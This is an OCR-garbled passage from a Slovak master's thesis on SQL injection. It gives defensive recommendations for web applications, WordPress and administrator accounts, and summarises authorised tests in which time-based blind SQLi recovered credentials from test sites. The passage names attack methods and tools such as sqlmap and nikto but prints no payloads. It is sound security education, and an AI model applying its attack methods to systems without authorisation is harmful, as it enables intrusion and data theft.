Jednym z hlavnych spdsobov ako sa chranit’ proti SQL injection Utokom je obranna

metoda, ktora zabezpecuje kontrolu vstupu uzivatel'a. Je niekol’ko protiopatreni, ktoré by

mali zabezpeCit uzivatel'sky vstup v bezpeci. Ddlezité pri zabezpeCovani bezpecnosti

uzivatel'ského vstupu je ho vnimat’ ako mozné nebezpecie pokial nie je dokazany opak,

z ¢oho vyplyva, ze je potrebné tomuto vstupu preventivne nedoverovat a verifikovat.

Proces overovania na strane servera je tiez velmi relevantny pri tom aby boli
neutralizované potencialne zlomysel'né prikazy, ktoré by mohli byt vlozené do vstupného
ret'azca, za pomoci tohto procesu sa da uistit, ze je realizovany spravny sposob vstupu.
Jednoducha modifikécia tohto vstupu by mala ochranit’ kéd pred pridavanim tnikového

znaku (/)zlomysel'nym uzivatel'om.

Je dobré ak je pridana validacia zo strany klienta, ale nie je to tak vyrazné opatrenie
z hl'adiska obrany ako je tato funkcia zo strany servera, pretoze by sa to dalo obist’ za
pomoci par nastrojov, akym je napriklad Burpsuit. Niektoré programovacie platformy
obsahuju vstavané funkcie, ktoré automaticky vyhodnotia vstup pouzivatel'a ako Skodlivy
pri spatnom odoslani stranky. Avsak aj takyto spdsob zabezpecenia moézu niektori vel'mi
trpezlivi hackeri obist, z tohto doévodu je kI'i€ové napriek predoSlym protiopatreniam
spustat vstup pouzivatela prostrednictvom vlastnych bezpecnostnych kontrolnych

postupov.

Lep$ia alternativa k tinikovym znakom (/) je pouzivanie prikazovych parametrov, tie su
definované pridavanim zastupnych symbolov mien v SQL prikazoch, kt. budu neskor

nahradené vstupom uzivatela.
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Vyhnut sa pouzivaniu jednoduchych tivodzoviek v prikazoch SQL, ktoré zahftiaji vstup

bez retazca moze tiez vyrazne pomdct ako obrana.

Vyrazne podstatna je kontrola kédu kazdej stranky, ¢i neobsahuje miesta, kde by boli
skombinované prikazy, retazce a obsah stranky so zdrojmi, ktoré mo6zu pochadzat od
pouzivatela. Celkovo pri kontrole stranky a hl'adani potencionalnych SQL injection
zranitel'nosti vie byt vyrazne ndpomocny nastroj sqlmap, ktori pri hl'adani tychto slabin

pouzivaju mnohokrat aj hackeri.

Hlavnou sucastou vyvoja softvéru by malo byt zabezpecenie zdrojového kodu kvoli

chybam a bezpe¢nostnym dieram.

Dobr4, ale niekedy nakladna metoda na hl'adanie zraniteI'nosti je vypisanie odmeny za jej
najdenie s dodanim detailného reportu o tejto slabine. Celkom efektivne prostredie na
takyto typ oSetrenie je spolupraca s hackerone, su tam dve moznosti, bud’ dat' svoju
stranku k dispozicii pre skuSanie uciacim sa hackerom, €o je sice zadarmo, ale nemusi to
byt tak prinosné ako za to vypisat odmenu. Sice je to nakladné, ale je to lacnejSie nez sa
potom snazit’ rieSit Skody napachané unikom citlivych dat, co moéze mat’ pre niektoré

organizacie znicujuce nasledky.

Jednou z najhorsich chyb je pouzivanie uctov ako root alebo sa na pripojenie webovej
aplikacie k databazovému serveru. Prostrednictvom ohrozené¢ho administratorského uctu
sa moze utotnik dostat’ k celému systému. Skodlivymi mozu byt aj neadministrativne
ucty, ktoré maju pristup do vsetkych databaz v ramci servera. Na zadklade zmieneného je
bezpeCnejSie pouzivat ucet, ktory ma povolenia Citat'-zapisovat a ma pristup len ku
konkrétnej databaze, takze v pripade hacknutia databazy st napachané Skody len na

jednej databaze.

Bez ohl'adu na to kolko bolo zavedenych predchadzajucich opatreni, tak vzdy je
moznost, ze sa nejakd zranitelnost SQLi alebo parameter URL, ktory umoziiuje
uto¢nikovi posielat na server l'ubovolné prikazy objavi atreba pocitat’ aj s touto
variantou. Bezpecnostné rieSenie ako WAF je vel'mi dobré pre jednanie s jednotlivymi
neznamymi hrozbami pre webovu aplikéaciu. Tento bezpecnostny nastroj ma na starost
premavku na aplikacnej vrstve, monitoruje http ziadosti a odpovede, ako si menené

medzi serverom a klientom, a ich skimanie na Skodlivé vzorce.
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Sifrovanie citlivych dat v databaze by malo byt v obrane proti SQLi alfou a omegou, toto
opatrenie by malo zabezpecit, ze ak aj hacker sa dostane k tymto datam, tak z nich nebude
schopny profitovat okamzite, co mdze poskytnut ¢as na identifikovanie bezpecnostne;j

diery a jej zapecCatenie, reaktivne protiopatrenia ako napriklad vynatenie obnovy hesla.

NajlepSie zabezpeCenie citlivych dat je ich vobec neskladovat ak to nie je nutné.
Kedykol'vek si uchovavané takto citlivé data, tak je dolezité zobrat' v uvahu aké Skody

napacha to, ak skoncia v nespravnych rukach.

3.44.2 Odporucania bezpecnostnych opatreni proti SQLi pre ochranu databazy
cielené na WordPress

WordPress ponuka velmi dobru ochranu proti SQLi, jeho sucastou je odolné WAF

rieSenie a vo svojej zbierke neplatenych bezpecnostnych pluginov maju jadro bezpecnosti

WordPress a pozostava z nasledovného:

e Ochrana pred hrubymi silami

e Monitorovanie vypadkov

e Bezpecné overenie

e Jednoducha sprava doplnkov

e Automatické aktualizacie doplnku

e Aktivita na webe
Platené bezpecnostné pluginy su nasledovné:

e Filtrovanie spamu (podla Akismet)
e Skenovanie skodlivého softvéru

e Automatické opravy

Vzhl'adom k tomu, ze WordPress prostrednictvom bezpecnostnych pluginov ponuka
dostato¢nu obranu proti SQL1 utokom, tak pre skutoénti ochranu proti nim by majitel

webu/ spravca mal dodrzat tieto body:

1. Aby aplikacie neobsahovala diery, tak je dolezité mat’ nainStalované celé jadro

bezpecnostnych pluginov, ktoré su este ako plus zadarmo.
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2. Pri udrzani dobrej bezpecnosti aplikacie je kl'uCové mat vzdy najaktudlnejsiu
verziu vSetkych sucasti a pluginov WordPress.

3. Rozhodujuce je skrz bezpecnost neddverovat' a neinStalovat do WordPress
rozSirenia/pluginy z neznamych zdrojov. (WordPress je platforma, ktora dovol'uje
komukol'vek vytvarat' a publikovat jeho rozsirenia pluginov. Pokial' by bol
nains$talovany plugin z neznamych zdrojov, tak je vel'mi pravdepodobné, ze si za
jeho pomoci nevedomky vytvorime bezpecnostnu dieru, ktord napomoédze
utoCnikovi zrealizovat' Utok).

4. Vzdy treba skenovat novy plugin a zistit’ jeho nedostatky pred instalaciou!

Aj po aplikovani vysSie zmienenych bodov je potrebné si aspon skrz sqlmap
preskenovat’ stranku, aby sa videlo ¢i tam nie st nejaké SQL1i zranitel'nosti, alebo
sa na nejaky z vysSie uvedenych opatreni nezabudlo, respektive nebolo plne
uplatnené.

6. Dobra, ale niekedy nakladnd metoda na hladanie zranitelnosti je vypisanie
odmeny za jej najdenie s dodanim detailného reportu o tejto slabine. Celkom
efektivne prostredie na takyto typ oSetrenie je spolupraca s hackerone, si tam dve
moznosti bud’ dat’ svoju stranku k dispozicii pre skuSanie uciacim sa hackerom,
¢o je sice zadarmo, ale nemusi to byt’ tak prinosné ako za to vypisat' odmenu.

7. Pokial vSetky zmienené body boli plne realizované, tak jedina bezpecnostna
zranitelnost, ktoru je mozné ovplyvnit modze vzniknut v rukach spravcu za
predpokladu, ze by nedodrzal odporaCané opatrenia =z kapitoly 3.4.4.3

a nasledujuce body pre ochranu ¢asti spadajicej pod administratora vo WP.
Ochrana oblasti spadajica pod administratora vo WP:

1. Je potreba premenovat a stiahnut WP zlozku

2. Rozsirit subor Wp-config.php (obsahuje nastavenia a pristupové data do
databazy), implementacia bezpecnostnych klucov konfiguraéného suboru,
upravit’ predvolbu tabul'ky na int nez je prednastavena
Ak je to mozné, tak zaSifrovat administratorsku oblast

4. Presunut WP-config.php subor na vel'mi bezpecné miesto mimo aktualne;j
inStalacie pretoze obsahuje citlivejsie udaje nez zvysok suborov

5. Chranit WP-config.php
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6. Zalozit si novy administratorsky ucet a vymazat automaticky vygenerovany
administratorsky ucet

7. Volba silného hesla

8. Chranit Wp-admin adresar

9. Nastavit’ aby nebola podavana chybna hlaska

10. Obmedzit’ pocet o chybné prihlasenie

3.44.3 Hlavné odporucania bezpecnostnych opatreni proti SQLi pre ochranu

databazy cielené na spravcu

Zakladné pravidla k zabezpeCeniu ochrany administratorského uctu, ktory ma pristup

k databaze. Tieto odporucenia platia pre vSetkych administratorov webovych aplikacii,

nie len pre tych z WordPress. Aby bol dobre chraneny tento ucet, tak je potrebné urobit

vSetko pre zabezpecenie najvysSej ochrany e-mailu s ktorym je prepojeny.

1.
2.

>

o 2o W

10.
1.
12.
13.
14.
15.
16.

Volba silného hesla, ktoré pozostava z dovernosti, zlozitosti, diiky a unikatnosti
Zabezpecenie hesla : nepouzivat rovnaké heslo na viac miestach, nezapisovat’ si
ho na dostupnych miestach, nikdy s nikym nezdiel'at’ heslo, pouzivat manazéra
hesiel

Nastavenie viacfaktorove] autentizacie

Zabezpecit st a vyuzivat antivirové programy, antimalware programy na ochranu
mailu, ochrana proti ransomwaru...

Nikdy neotvarat’ nezname odkazy

Zastavenie automatického preposielania e-mailov

Pouzivat Sifrovanie e-mailov

Chrénit' e-mail pred neopravnenym ziskavani udajov (napr. ochrana proti
phishingu)

Ochrana e-mailu pred skodlivymi subormi pomocou bezpecnostnych priloh ATP
Idealne pouzivat e-mailovu sluzbu so zabezpecenim na trovni ProtonMail

Pri praci s citlivymi udajmi nevyuzivat verejna wi-fi

Pravidelna modifikacia hesla

Neukladat heslo do prehliadaca

Pre zvySenie ochrany sukromia nainstalovat’ do prehliadaca DuckDuckGo
Ochrana sukromia prostrednictvom VPN jedna z lepSich je napr. NordVPN

Ochrana zariadenia z ktorého sa prihlasujeme
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4 ZHODNOTENIE

Tato Cast’ je venovana zhodnoteniu vysledkov celkového testovania a na zaklade toho

vytvoreného navrhu odporuceni bezpecnostnych opatreni.

Boli prevedené 4 rozsiahle testovania s ucelom hl'adania SQLi zranitelnosti. Subjekt
A aD predstavovali testované webové aplikacie, ktoré nemali ziadnu ochranu
prostrednictvom WAF alebo podobného bezpecnostného rieSenia. Pocas testovania
tychto aplikacii bol vykonany Google hacking na ziskavanie informacii, boli hl'adané
dotazy prostrednictvom logickych operatorov a rozSirenych operatorov za ucelom
identifikacie bezpecnostnych zranitel'nosti. V tychto aplikaciach bolo po skenovani
najdenych niekol'ko SQLi zranitel'nosti boolean-based blind, time-based blind a Union.
Nasledne bola vybranad a uspeSne vykonana Blind SQLi metoda, kt. je zalozena na
zéklade casovej odozvy, Co bolo ucinné pri ziskavani uzivatel'ského mena a hesla.

V Subjekte D boli realizovana niektora z verzii zo vSetkych troch typov SQLi.

Testované Subjekty B a C predstavovali skutocné webové stranky, na ktorych testovanie
bolo udelené povolenie, avsak aby tieto testy mohli byt v praci ukazané, tak subjekty
museli byt pseudonymizované a €ast’ informacii cenzurovana. Pocas testovania Subjektu
B bol taktiez realizovany Google hacking a na skenovanie aplikacie vyuzita sqlmap. Po
realizovani pokusov o niekol'ko utokov so zameranim na uzivatela nebolo mozné sa
dostat’ nikam pretoze WAF WordPress tieto pokusy zastavil v zarodku. V ramci d’alSieho
zbierania informacii bolo najdenych niekolko administratorskych ID, pri€om bolo
s sqlmap zacaté skenovanie, avsSak povolenie, kt. som dostala od spravcu nezahriiovalo
moznost’ testovat’ aj tato oblast. Testovaniu Subjektu C bolo venovaného najviac Casu
a hl'adanie zranitelnosti bolo primarne cielené na Blind SQLi. Pocas testovania bolo
overené vyborné zabezpeCenie vstupu uzivatela zo strany klienta aj serveru. Okrem
metod kt. boli vyuzité aj na ostatné testovacie subjekty, tak v tomto pripade bolo ku koncu
testovania, kedy som bola presunutd do whitelistu siahnuté aj po nastroji nikto. Tento
nastroj poskytol obrovské mnozstvo informacii na zaklade ktorych boli upravované
vstupné prikazy, bohuzial' ked’ som sa zacala napriek pritomnosti WAF potencionalne
niekam dostavat, tak mi skoncCilo povolenie na testovanie, kt. bolo udelené len do

konkrétneho datumu. DetailnejSie je to rozpisané v kapitole 3.3.
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Napriek vyssie zmienenému ohl'adom Subjektu B, na zaklade vykonanych krokov bolo
zistené potencionalne bezpecnostné riziko tykajuce sa administratorského uctu, navrh
3.4.4.2 a 3.4.4.3 podrobne zahriia postup ako chranit’ administratorsky ucet vo WordPress
aby sa nieCcomu takémuto uplne predislo. Ak by Subjektom B bol navrh plne aplikovany,
tak by to malo prinos v tom, ze by ani administratorské ID nemalo byt tak l'ahko

vyhladané prostrednictvom Google hackingu ako sa to bolo realizovat' v praci.

Odporucenie bezpecnostnych opatreni je rozdeleny do troch kategorii: Vseobecné
opatrenia proti SQLi, Odporucania opatreni proti SQLi mierené¢ na WP, Odportcania pre
ochranu databazy proti SQLi mierené na spravcu. Tieto odporucania su zalozené na
vysledkoch testovania, niekol'kych rdéznych existujiicich postupov obrany proti SQLi

a vlastnych skusenostiach v tejto oblasti.

Vo vSeobecnosti implementacia odporucenia bezpe¢nostnych opatreni by mala vyrazne

pomoct pri ochrane webovej aplikacii a databaze pred SQLi ttokmi.

K prinosom odporucani patri aj znizenie potencionalnych bezpecnostnych incidentov,

ktoré sa v kyberpriestore objavuju a maju tendenciu v dnesnej dobe rast’.

Praca ako takd mala nasledujiice prinosy, ztestov vyplyva informacia o efektivite
zabezpecenia jednotlivych subjektov proti SQLi. Testovanim bola vyvratend vacsina
hrozieb z analytickej casti pre Subjekt B a zaroven bolo odporucené bezpecnostné
opatrenie pre administratora, kt. nevzniknu finanné naklady. Dalej boli vyvratené
bezpeCnostné hrozby z analytickej Casti pre Subjekt C, ¢im mu nevznikli finan¢né
naklady za platenie testovania a opravy bezpecnostnej hrozby. Nasledujicim prinosom
préce je priblizenie tematiky metod SQLi z teoretického a aj detailnejSie spracovaného
praktického hl'adiska, skrz ¢o si tieto metdody moze Citatel vyskuSat aj v jednej
z odporacanych webovych aplikacii sam. Ked'Ze je v praci spracovana aj priprava
prostredia, respektive nainStalovanie Kali Linux, kt. obsahuje niekol'ko zakladnych
nastrojov, tak Citatel uz nemusi tieto nastroje insStalovat’ dodatocne ako by to bolo
potrebné napriklad v prostredi Windows. Praca moze sluzit ako pomocna literatara pre
zaCinajucich etickych hackerov, nie je urCena pre akukol'vek pomoc pri neetickom
a neopravnenom hackovani systému a pokial sa to Citatel rozhodne nereSpektovat, tak za

to autor v akomkol'vek spdsobe nenesie zodpovednost'.
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ZAVER

Ciel'om diplomovej prace bolo oboznamit sa s SQL injection utokom, jeho metdodami
a so spdsobmi obrany proti napadnutiu databazovej vrstvy programu z teoretického aj

praktického hl'adiska.

Do prace bolo zahrnuté aj testovanie SQLi na vybranych webovych strankach, ktoré na
zaklade ziadosti ich spravcov boli v praci pseudonymizované. V prvej ¢asti prace som sa
zameriavala na teoretické vychodiska prace, ktoré su potrebné pre spravny postup pri
analytickej, praktickej Casti a navrhu bezpecnostnych odporacani. V analytickej Casti
som vyhodnotila sucasny stav testovacieho prostredia a analyzovala testovacie webové
aplikacie, na zaklade coho som si potom jednu zvolila do prace ako testovaci subjekt.
Vytvorila som SWOT analyzu len pre tie testovacie subjekty, kt. patrili nejakej skutoCne;j
organizacii, podstatnym vystupom boli bezpeCnostné hrozby pre jednotlivé webové
aplikacie. Nasledne som spracovala ukazky SQLi metdd, z ktorych bude ¢ast’ pouzita vo
vlastnom navrhu riesenia v ramci tvorenia prikazov. Statistiku naj&astejsich SQLi atokov
som vytvorila za uCelom ziskania informacie v percentach, aby som v praktickej Casti
vedela na aké typy sa mam najviac zamerat. Proces prihlasovania sa do uzivatel'ského
uctu jednotlivych testovacich subjektov som vytvorila na zéklade niekolkych
prihlasovani sa do jednotlivych aplikacii. Vytvorené procesové diagramy mi poskytli do
praktickej Casti velmi cennu informdaciu o tom, akym spOsobom reaguje server na
uzivatel'sky vstup. Dalej som urobila analyzu vybranych nastrojov na skenovanie, SQL
prikazov, rizik a planovaného postupu utoku. V tretej Casti prace som sa najprv venovala
nastaveniu testovacieho prostredia. Po nainstalovani prostredia som zacala testovanie
jednotlivych subjektov. Vyhodnotila som vysledky testovania a vytvorila navrh
bezpecnostnych opatreni v obrane proti SQLi metddam, ktoré boli otestované

v praktickej Casti.
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